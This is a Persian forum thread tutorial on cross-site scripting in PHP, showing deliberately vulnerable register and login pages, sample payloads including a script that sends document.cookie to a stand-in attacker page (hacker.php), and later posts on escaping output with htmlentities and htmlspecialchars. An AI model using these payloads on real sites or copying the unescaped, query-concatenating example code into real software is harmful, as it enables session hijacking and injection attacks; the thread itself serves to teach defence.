|
|
تاریخ: چهارشنبه 17 دی 1393 - 21:58
|
bidak
داره كولاك ميكنه!
پست: 121
عضو شده در: 29 تیر 1392
امتياز: 1376
|
عنوان: باگ XSS و روش مقابله با XSS |
|
|
سلام.
یکی از انواع حملات به صفحات وب , XSS هست.(Cross Site Scripting)
xss ازین قراره که نفوذگر توسط کد های Client Side مثل (javascript , vbscript) , صفحات وبی که توسط کاربران اینترنتی (clients) باز شده , مورد حمله قرار میدن و اسکریپت هاشونو تزریق میکنن.
این اسکریپت ها در صفحات وب ما (clients) اجرا میشن و باعث خرابکاری هایی در برنامه میشن و نفوذگر میتونه اطلاعات کاربرو در اختیار بگیره.
واسه اینکه ساده تر بخوام توضیح بدم , یک مثال خیلی ساده میزنم:
یک صفحه ی فرم میسازم که نام افرادی که میخوان عضو سایت بشن رو میگیره و در دیتابیس ذخیره میکنه و تمام کسانی که قبلا عضو شدنو هم در همون صفحه , پایین تر از فرم , نمایش میده:
اسم این صفحه (register.php)
کد: |
<form action="" method="post" accept-charset="utf-8">
<input type="text" name="name">
<input type="submit" name="btnSubmit" value="Insert">
</form>
<hr>
<b>Members:</b><br>
<?php
mysql_connect('localhost', 'root', '');
mysql_select_db('test');
mysql_query('set names utf8');
/**************************/
// insert codes
if (isset($_POST['btnSubmit']))
{
if (isset($_POST['name']) && !empty($_POST['name']))
{
$name = $_POST['name'];
mysql_query("INSERT INTO `name` (`name`) VALUES ('{$name}')");
if (mysql_affected_rows() <= 0)
{
echo "ERROR!";
}
}
}
/**************************/
// show members
$result = mysql_query("SELECT * FROM `name`");
if (mysql_num_rows($result) > 0)
{
while ($row = mysql_fetch_assoc($result))
{
echo $row['name'] . '<br>';
}
}
|
حالا کاربری (نفوذگر) وارد این صفحه از سایت میشه و این صفحه ای میبینه که نام کاربر رو میگیره و اینسرت میکنه و زیر فرم هم اسامی رو نمایش میده.
و بجای اینکه اسمشو وارد کنه , این عبارتو در اینپوت مینویسه:
کد: |
<script>alert(\"You have been hacked!\")</script>
|
و روی دکمه ی Insert کلیک میکنه و در دیتابیس این عبارت ذخیره میشه.
قاعدتا عبارت بالا هم باید در زیر member ها اضافه و چاپ بشه!!
حالا هر کاربری , هر زمانی , از هر جایی که این صفحه از سایتو باز کنه , با یک آلرت که نفوذگر تزریق کرده روبرو میشه.
بجای اینکه اون عبارت بالا عیناً در قسمت members چاپ بشه , بصورت آلرت در مرورگر کاربر(قربانی) نمایش داده شد , یعنی کدهای جاوااسکریپت در مرورگر کاربر اجرا شد.
بجای alert میشد هر کد جاوااسکریپت دیگه ای تزریق کرد.
*******************************
خوب , مثال بالارو توو قالب یک مثال دیگه میارم.
در مثال اولی که زدم , فرمی داشتیم که نام تمام اعضا رو نمایش میداد.حالا کاربری (نفوذگر) وارد همان صفحه یعنی register.php میشه و داخل اینپوت , بجای نام خودش, این کد جاوااسکریپتو وارد میکنه:
کد: |
<script>
window.location = \'http://example.com?hacker.php?cookie=\' + escape(document.cookie);
</script>
|
فرض میکنیم عبارت بالا توسط نفوذگر در دیتابیس ثبت شد.
* example.com/hacker.php صفحه ایست که نفوذگر ساخته.(آدرس سایت نفوذگر)
در ادامه ی مثال, یک صفحه ی لاگین داریم و کاربر ها لاگین میکنن.
زمانی که لاگین صورت میگیره , اطلاعات کاربر در سشن ذخیره میشه.(در این مثال)
همونطور که میدونید , session id در کوکی و مرورگر کاربر ذخیره میشه و توسط این آیدی مقادیر از حافظه ی سرور خونده میشه.
یعنی عملا اگر کوکی مرورگر کاربر غیر فعال باشه , سشن هم کار نمیکنه , چون سشن آیدی دیگه نمیتونه در جایی ذخیره بشه.
پس نکته ی مهمی که اینجاس , اگر ما سشن آیدی یک کاربرو داشته باشیم , توسط این آیدی میتونیم اطلاعات کاربرو که روی حافظه ی سرور ذخیره شده رو بخونیم.
توو این مثال میخوایم توسط حمله ی xss , سشن کاربر قربانی رو بدست بیاریم.
یک پیج لاگین ساده درست کردم و فقط این لاگینو محدود به یوزر ادمین کردم.دلیل اینکارم اینه که نخواستم زیادی پیچیدش کنم و فقط میخوام مثالو پیاده سازی کنم.
کد: |
<?php
// start session
if (!isset($_SESSION))
{
@session_start();
}
/***************************/
// check login
if (isset($_POST['btnLogin']))
{
if (isset($_POST['username'], $_POST['password']))
{
$username = $_POST['username'];
$password = $_POST['password'];
if (strtolower($username) == 'bidak' && $password == '123')
{
$_SESSION['login'] = true;
}
}
}
/***************************/
// check login session
if (!isset($_SESSION['login']))
{
?>
<form action="" method="post" accept-charset="utf-8">
username: <input type="text" name="username">
<br><br>
password: <input type="text" name="password">
<input type="submit" name="btnLogin" value="login">
</form>
<?php
}
// show members
if (isset($_SESSION['login']))
{
echo 'Welcome to <strong>Admin</strong> panel.<br>';
/**************************/
mysql_connect('localhost', 'root', '');
mysql_select_db('test');
// show members
$result = mysql_query("SELECT * FROM `name`");
if (mysql_num_rows($result) > 0)
{
while ($row = mysql_fetch_assoc($result))
{
echo $row['name'] . '<br>';
}
}
}
else
{
echo 'You are a <strong>Guest</strong> here now.';
}
|
وقتی login میشم سشن login ست میشه و در صفحه ی ادمین اسامی اعضای سایت نمایش داده میشه.
یکی از اسامی که در صفحه چاپ میشه , کد نفوذگر هست: (در متن بالا اشاره شد)
کد: |
<script>
window.location = 'http://example.com?hacker.php?cookie=' + escape(document.cookie);
</script>
|
این کد اجرا میشه و کوکی کاربر لاگین شده رو به آدرس نفوذگر میچسبونه و میفرسته به صفحه ای که نفوذگر توو سایت خودش ساخته.نفوذگر کوکی های کاربرو در صفحه ای که ساخته(hacker.php) دریافت میکنه و جایی ثبت یا توسط میل و ... ارسال میکنه.
صفحه ی hacker.php بعنوان مثال:
کد: |
<?php
echo "found: " . urldecode($_GET['cookie']);
// Insert into db or Send email
|
کدهای صفحه ی نفوذگر اجرا میشه و کوکی سشن آیدی کاربر بدست نفوذگر میرسه.
کافیه نفوذگر این کوکی رو در مرورگرش ایجاد کنه و مقدار سشن آیدی کاربر قربانی رو در مرورگر خودش ست کنه.
بعد از ست شدن سشن آیدی کاربر قربانی , دیگه صفحه ی لاگین نمیاد و مستقیم وارد پیج ادمین میشه.
حالا این کد میتونه توو پروفایل یک کاربر تزریق بشه یا در صفحه ی پیام های خصوصی یا کامنت های یک پست یا بصورت یک لینک داده بشه به کاربر از طریق ایمیل و ... و کاربر لینک مورد نظر نفوذگرو باز کنه و ...
*******************************
مثالی واسه لینک دادن به کاربر و تزریق از طریق address bar:
سایتی که در قسمت search box باگ xss داره.قسمتی از کدهاش به این شکله که عبارت جستجو شده توسط کاربرو در url قرار میده و با متغیر GET مورد دستیابی قرار میده و بدون هیچ فیلتری در صفحه عبارت جستجو شده رو چاپ میکنه:
کد: |
echo "You searched for: ".$_GET['search'];
|
و نفوذگر چیزی شبیه به آدرس سایت مد نظر برای کاربر قربانی به شکل های مختلفی ارسال میکنه تا کاربر قربانی روی این لینک کلیک کنه.
کد: |
http://exampleSite.com/result.html?search=<img src=/ onerror="alert(document.cookie)">
|
از صفت های تگ های html میشه واسه تزریق کد استفاده کرد.
نسخه ی جدید مرورگرها مثل chrome , تزریق اسکریپت از address bar رو جلوگیری میکنن ولی بعضی روش ها هنوز روی firefox از url میشه تزریق کرد.(بخاطر وجود antiXss مرورگرهای ورژن جدید)
در ادامه ی همین قسمت , یک نوع دیگه رو نشون بدم:
برنامه نویس تگ form استفاده کرده ومقدار صفت action رو از آدرس بار کاربر گرفته. ازین طریق:
کد: |
<form method="post" action="<?php echo $_SERVER["PHP_SELF"];?>">
|
دستور :
کد: |
$_SERVER["PHP_SELF"];
|
از url کاربر نام فایل (صفحه ی جاری) نسبت به ریشه رو برمیگردونه.
مثلا این آدرس صفحه ی جاری: http://example.com/foo/bar.php
چیزی که در action تگ فرم چاپ میشه:
حالا نفوذگر , کد زیرو به آدرس مقابل تزریق میکنه: http://www.example.com/test_form.php
کد: |
http://www.example.com/test_form.php/%22%3E%3Cscript%3Ealert('hacked')%3C/script%3E
|
و در نتیجه تگ فرم به این شکل در میاد:
کد: |
<form method="post" action="test_form.php/"><script>alert('hacked')</script>
|
و کد جاوااسکریپت در مرورگر کاربر اجرا میشه.
*******************************
خوب ...
نفوذگر واسه inject کردن کدهاش روش های مختلفی استفاده میکنه.
بعنوان مثال , کد بصورت base64 کدگذار شده.یک نمونه با تگ meta:
کد: |
<META HTTP-EQUIV="refresh"
CONTENT="0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgndGVzdDMnKTwvc2NyaXB0Pg">
|
اگر عبارت کدگذاری شده رو decode کنیم , این عبارتو میبینیم:
کد: |
<script>alert('test3')</script>
|
و روش های مختلف دیگه ای مثل url encoding و hex encoding و ...
که کاربر از روی ظاهر نوشته نمیتونه بفهمه که کدی تزریق میشه.
*******************************
توو این پست صفحات register و login رو بعنوان مثال پیاده سازی کردم, بخاطر اون دسته از افرادی که هیچ آشنایی با این باگ ندارن و اگر خواستن تست کنن همین کدهارو اجرا کنن.
قصد , آموزش xss نبود و یک معرفی اجمالی انجام دادم.
شما روش های مختلف تزریقو میتونید از این لینک ببینید.
توو پست بعدی روش مقابله با xss رو میگم. |
|
[ وضعيت كاربر: ]
|
این مطلب آخرین بار توسط bidak در پنجشنبه 18 دی 1393 - 04:43 ، و در مجموع 1 بار ویرایش شده است.
تشکرها از این پست:
|
تاریخ: چهارشنبه 17 دی 1393 - 22:11
|
bidak
داره كولاك ميكنه!
پست: 121
عضو شده در: 29 تیر 1392
امتياز: 1376
|
عنوان: پاسخ به «باگ XSS و روش مقابله با XSS» |
|
|
همونطور که مثال هارو دیدید , هر جایی که مقادیر(گرفته شده از کاربران) در صفحه ی مرورگر چاپ میشه , امکان xss هست.
پس همیشه تمام اطلاعاتی که از کاربرها میگیرید , مانند (کامنت ها , چت ها , پیام ها , پست ها , مشخصات , ... و ... و ...) در زمان چاپ , باید با تابع htmlentities و یا htmlspecialchars (یکی از توابع) , اطلاعات escape بشن.
* توو پست بعدی در مورد این دو تابع رو معرفی میکنم.
بعنوان مثال قسمت نمایش اعضا که در قسمت اول کدشو نوشتم , به این حالت در میاد:
کد: |
// show members
$result = mysql_query("SELECT * FROM `name`");
if (mysql_num_rows($result) > 0)
{
while ($row = mysql_fetch_assoc($result))
{
// use HtmlEntities to prevent xss
echo htmlentities($row['name'], ENT_QUOTES, 'UTF-8') . '<br>';
}
}
|
خوب , حالا چیزی که در صفحه ی مرورگر چاپ میشه: (طبق مثال اول پست قبلی)
کد: |
<script>alert("You have been hacked!")</script>
ali
hasan
mohsen
|
کد تزریق شده عمل نمیکنه و عینا چاپ میشه.
در مثالی دیگه (پست قبلیم) , اشتباه برنامه نویس در تگ فرم باعث بروز این باگ شده بود , به این شکل در میاد:
کد: |
<form method="post" action="<?php echo htmlentities($_SERVER["PHP_SELF"], ENT_QUOTES, 'UTF-8')?>">
|
و تمام مواردی که گفته شد , بهمین شکل. |
|
[ وضعيت كاربر: ]
|
تشکرها از این پست:
|
تاریخ: چهارشنبه 17 دی 1393 - 22:38
|
bidak
داره كولاك ميكنه!
پست: 121
عضو شده در: 29 تیر 1392
امتياز: 1376
|
عنوان: پاسخ به «باگ XSS و روش مقابله با XSS» |
|
|
تابع htmlentities:
کد: |
string htmlentities ( string $string [, int $flags = ENT_COMPAT | ENT_HTML401
[, string $encoding = ini_get("default_charset") [, bool $double_encode = true ]]] )
|
4 آرگومان داره:
1. یک رشته میگیره
2. تعیین کردن چگونگی رفتار نسبت به کوتیشن ها و مقادیر نامعتبر (اختیاری - پیش فرض = ENT_COMPAT)
**یه سری ثابت ها هستن که میتونیم در این فلگ استفاده کنیم:
+ ENT_COMPAT : این ثابت , دابل کوتیشن (") های رشته رو کدگذاری میکنه.(تک کوتیشنو شامل نمیشه)
+ ENT_QUOTES : این ثابت , هم دابل کوتیشن(") و هم تک کوتیشنو(') شامل میشه.
+ ENT_NOQUOTES : این ثابت , هیچکدوم از کوتیشن هارو شامل نمیشه.
+ ENT_IGNORE : قسمت نامعتبر رشته رو حذف میکنه.(ignores invalid encoding) - اضافه شده در php 5.3.0
3. انکدینگ - (اختیاری - UTF-8 بزارید.)
4. کدگذاری مجدد روی مقادیر کدگذاری شده (اختیاری - پیش فرض = true)
* این تابع کاراکتر های معنی دار و قابل اجرا رو در برنامه مثل (تگ ها) با کدگذاری اثرشونو خنثی میکنه و در صفحه دیده میشن.
بعنوان مثال , چنتا از کاراکتر ها و معادل کد گذاری شده ی اونها:
کد: |
< => <
> => >;
& => &
" => "
' => '
|
خوب با توجه به کاراکتر هایی که نمونه اوردم چنتا مثال میزنم.
کد: |
$str = '<script>alert("XSS")</script>';
echo htmlentities($str , ENT_COMPAT, 'UTF-8');
|
چیزی که در صفحه چاپ میشه:
کد: |
<script>alert("XSS")</script>
|
اما چیزی که در page source چاپ میشه.(البته var_dump هم میتونید بگیرید.)
کد: |
<script>alert("XSS")</script>
|
یک نکته: ENT_COMPAT گفتیم دابل کوت هارو کد میکنه.(تک کوت هارو شامل نمیشه!)
مثال:
کد: |
$str = "A 'quote' is <b>bold</b>";
// Page Source: A 'quote' is <b>bold</b>
echo htmlentities($str); // A 'quote' is <b>bold</b> => by default , the flag is ENT_COMPAT
echo htmlentities($str, ENT_COMPAT); // Display: A 'quote' is <b>bold</b>
***********************************
$str = "A 'quote' is <b>bold</b>";
// Page Source: A 'quote' is <b>bold</b>
// Encodes double and single quotes
echo htmlentities($str, ENT_QUOTES); // Display: A 'quote' is <b>bold</b>
|
حالا یک مثال واسه فلگ ENT_IGNORE:
کد: |
$str = "\x8F!!!";
// Outputs an empty string
echo htmlentities($str, ENT_QUOTES, "UTF-8");
// Outputs "!!!"
echo htmlentities($str, ENT_QUOTES | ENT_IGNORE, "UTF-8");
|
با فلگ ignore , قسمت نامعتبرو نادیده میگیره و بقیه رشته رو چاپ میکنه ولی در فلگ های (quotes , compat , noquotes) اگر مقداری نامعتبر در رشته وجود داشته باشه , یک رشته ی خالی بر میگردونن که در مثال بالا دیدیم.
اما مثالی برای آرگومان چهارم با مقدار false:
کد: |
$str = 'Hot & Cold and On & Off';
// Display: Hot & Cold and On & Off
echo htmlentities($str, ENT_COMPAT, 'UTF-8', TRUE); // Source: Hot & Cold and On &amp; Off
// Display: Hot & Cold and On & Off
echo htmlentities($str, ENT_COMPAT, 'UTF-8', FALSE); // Source: Hot & Cold and On & Off
|
همونطور که مشاهده کردید , زمانی که در حالت true باشه , (;amp&) که خودش کد & بود , دو مرتبه encode شد و تبدیل شد به:
خوب , فک کنم مثال ها کافی بودن واسه آشنایی با این تابع.
از این تابع برای چاپ مقادیری که از کاربر میگیرین استفاده کنین.این تابع از حملات XSS جلوگیری میکنه.
*********************************
تابع htmlspecialchars:
کد: |
string htmlspecialchars ( string $string [, int $flags = ENT_COMPAT | ENT_HTML401
[, string $encoding = ini_get("default_charset") [, bool $double_encode = true ]]] )
|
* مشخصات و کاربرد مثل تابع قبلی (htmlentities)
* این تابع , فقط همین چند کاراکتر مشخص شده رو encode میکنه:
1. <
2. >
3. '
4. "
5. &
به نوعی این تابع زیر مجموعه ای از htmlentities می باشد.
-------------------------------
نتیجه ی اخلاقی:
گاهی وقتام بد نیست نت قطع بشه همه دور هم جمع بشن....
|
|
[ وضعيت كاربر: ]
|
تشکرها از این پست:
|
|
|
صفحه 1 از 1
تمام زمانها بر حسب GMT + 3.5 Hours میباشند
|
|
شما نمی توانید در این بخش موضوع جدید پست کنید شما نمی توانید در این بخش به موضوعها پاسخ دهید شما نمی توانید موضوع های خودتان را در این بخش ویرایش کنید شما نمی توانید موضوع های خودتان را در این بخش حذف کنید شما نمی توانید در این بخش رای دهید
|
|
|